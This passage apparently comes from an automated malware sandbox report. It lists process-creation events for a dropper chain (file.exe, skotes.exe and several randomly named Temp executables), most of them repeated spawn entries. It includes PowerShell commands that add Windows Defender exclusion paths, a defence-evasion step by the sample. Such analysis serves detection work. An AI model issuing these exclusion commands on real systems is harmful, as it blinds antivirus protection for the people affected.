Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe "C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe "C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe "C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process created: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process created: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process created: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process created: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\iscwgalo"
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
